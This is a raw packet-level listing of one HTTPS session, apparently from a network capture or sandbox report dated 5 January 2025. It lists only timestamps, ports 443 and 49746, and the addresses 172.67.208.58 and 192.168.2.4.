Jan 5, 2025 19:50:31.315603018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.315682888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.315690041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.315742016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.315752029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.315768003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.315802097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.315808058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.315835953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.315856934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321362972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321383953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321449041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321456909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321501970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321686029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321703911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321749926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321755886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321793079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321921110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321935892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321973085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.321980000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.321993113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322015047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322143078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322164059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322199106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322205067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322237968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322467089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322484016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322505951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322510004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.322545052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322568893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.322736979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.365328074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.365345001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.365411997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.365420103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.365470886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.402411938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402430058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402529955 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.402539015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402579069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.402606010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402622938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402672052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.402678013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.402719021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408246040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408260107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408324003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408329964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408368111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408493996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408514977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408559084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408564091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408613920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408792019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408806086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408853054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.408859015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.408895016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.409059048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.409074068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.409149885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.409156084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.409219027 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.409543991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.410054922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.410069942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.410110950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.410116911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.410147905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.410166025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.412257910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.452339888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.452356100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.452398062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.452405930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.452431917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.452450991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489250898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489265919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489306927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489314079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489339113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489352942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489500046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489517927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489547014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489553928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.489578009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.489593029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495145082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495162964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495223045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495230913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495270967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495421886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495438099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495479107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495486975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495527029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495738029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495754957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495790958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495796919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.495824099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.495841980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.497067928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497086048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497142076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.497147083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497183084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.497366905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497381926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497416973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.497423887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.497442007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.497452974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.500582933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.539350033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.539366007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.539428949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.539441109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.539479971 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.576165915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576183081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576255083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.576261997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576303005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.576375008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576395035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576422930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.576428890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.576448917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.576471090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.582334995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582356930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582411051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.582421064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582461119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.582518101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582556963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582568884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.582577944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.582597017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.583002090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.583017111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.583054066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.583061934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.583090067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.584439039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.584455013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.584508896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.584517002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.584935904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.584949017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.584999084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.585005045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.585030079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.587440014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.626151085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.626167059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.626236916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.626245975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.626271009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.663332939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663352966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663443089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.663450003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663625002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663639069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663681984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.663690090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.663712978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.668926954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.668950081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.669167995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.669167995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.669174910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.669190884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.669210911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.669245958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.669251919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.669261932 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.669295073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.670108080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.670124054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.670181990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.670188904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.670228004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.672432899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672449112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672517061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.672523975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672581911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.672585964 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672595978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672614098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672667980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.672673941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.672738075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.672936916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.712990046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.713004112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.713179111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.713186026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.713232040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.750224113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750240088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750279903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750298023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.750305891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750334978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.750354052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.750397921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750439882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750461102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.750466108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.750502110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.755667925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.755686045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.755747080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.755753040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.755789995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.755810976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.755857944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.756074905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.756091118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.756128073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.756134033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.756144047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.757515907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757535934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757603884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.757611990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757719040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757734060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757786036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.757796049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757972002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.757991076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.758016109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.758023024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.758048058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.760152102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.837064981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.837085962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.837140083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.837189913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.837301016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.837301016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.837301016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.837316036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842396975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842412949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842565060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.842573881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842652082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842674017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842700005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.842709064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842735052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.842890024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842904091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842935085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.842941999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.842959881 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844338894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844357967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844398022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844405890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844417095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844583988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844602108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844635963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844644070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844654083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844824076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844841957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844872952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.844880104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.844913006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.846986055 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.923723936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.923738956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.923814058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.923820972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.923861980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.923924923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.923966885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.923985958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.923991919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.924002886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.924037933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.924195051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.924216986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.924243927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.924249887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.924278975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.924294949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.929434061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929450989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929498911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.929506063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929548979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.929725885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929742098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929779053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.929785967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929821014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.929969072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.929982901 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.930030107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.930037022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.930079937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.931518078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931534052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931569099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.931575060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931602001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.931611061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.931713104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931727886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931771040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.931776047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.931808949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.934081078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.976524115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.976541042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.976624012 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:31.976632118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:31.976670027 CET	49746	443	192.168.2.4	172.67.208.58
